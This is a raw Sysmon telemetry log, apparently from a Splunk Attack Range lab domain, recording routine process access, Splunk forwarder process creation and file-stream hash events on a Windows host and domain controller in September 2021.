14:57:32.936{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016201Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:32.936{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016200Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:32.936{625C326B-67EC-613B-0500-00000000F101}412528C:\Windows\system32\csrss.exe{625C326B-725C-613B-F204-00000000F101}580C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000016199Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:32.936{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-725C-613B-F204-00000000F101}580C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000016198Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:32.937{625C326B-725C-613B-F204-00000000F101}580C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe8.0.2Network monitorSplunk ApplicationSplunk Inc.splunk-netmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=8746B8C1724B67C2B1261446C0CFAA57,SHA256=7EFD09FD383FAA75C5D2990E6DBBFD846AEAA08B7037C7D66B4A0EF2AE0866B3,IMPHASH=7B985F47B35272AD7B5218255ACE7AEC{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x800000000000000016197Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:32.451{625C326B-725C-613B-F104-00000000F101}30921624C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+6025c5|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+6020f6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+59e67|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+5b88c|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+8e7d70|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016196Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:32.264{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-725C-613B-F104-00000000F101}3092C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016195Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:32.264{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016194Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:32.264{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016193Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:32.264{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016192Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:32.264{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016191Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:32.264{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016190Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:32.264{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016189Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:32.264{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016188Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:32.264{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016187Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:32.264{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016186Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:32.264{625C326B-67EC-613B-0500-00000000F101}412428C:\Windows\system32\csrss.exe{625C326B-725C-613B-F104-00000000F101}3092C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000016185Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:32.264{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-725C-613B-F104-00000000F101}3092C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000016184Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:32.265{625C326B-725C-613B-F104-00000000F101}3092C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe8.0.2Active Directory monitorsplunk ApplicationSplunk Inc.splunk-admon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=947139F3BB2AB70CAF692A60C7A3A735,SHA256=940554A0170A70F634689CC84B00C51AC0BCF773C9639E1305E3672441FC85C8,IMPHASH=357CEC18833E7FF2ABFB722902B13165{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000016183Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:32.217{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=73915CD8A10996C720361BA8801ED340,SHA256=F8E0226915B6C7CA7FEB7E957530AFEFA028C973EFD49123A308B3CBB0727619,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048500Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:32.059{7BD73061-65B2-613B-1100-00000000F001}432NT AUTHORITY\LOCAL SERVICEC:\Windows\System32\svchost.exeC:\Windows\ServiceProfiles\LocalService\AppData\Local\lastalive0.datMD5=B359ABEFE1082E26294094F26E05183F,SHA256=BCB8221D82219C74A32A9DA07F4736AEFD19EF582B55FCA5705F0E5814DFBA1D,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048502Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:33.138{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=4EE5D302FDF5A6A41C6B6AFBEAA14FE7,SHA256=C74FA189F2B014846EBEB88DDE0C279174CB7B7DD2225CD1D74CF1533E9D2A38,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000016214Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:33.951{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=C2E8E5C4854177CCA3E6953745E448F4,SHA256=94A1A1DD913E384F80E0BA942A0068CAD226ADDCC778B4AA8546D18BFD95518F,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000016213Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:33.248{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=80A4CEE993FAB08177270BB689FDD661,SHA256=F65C8EB86A689B8318A3B43E233735E4689EF825B09E4DD1F4D81E362D7808E8,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000016229Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:34.264{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=35624DBFDBC25040071403742467A262,SHA256=E065E6AB29F7FDDDFED876895B0F63A4AF3156C62249430B49998F6F5693867E,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000016228Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:34.248{625C326B-725D-613B-F304-00000000F101}12443784C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e675|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e1a6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+6b453|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+8e8530|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000048503Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:57:34.184{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=65E8EB5EAEDB24F4ECC07DC2E74AFF31,SHA256=DBAD5BBAF9B685FF0B05819F261053C6EB28CC0FA18AF692F2948CDEE462E016,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000016227Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:33.998{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-725D-613B-F304-00000000F101}1244C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016226Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:33.998{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016225Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:33.998{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016224Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:57:33.998{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016223Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 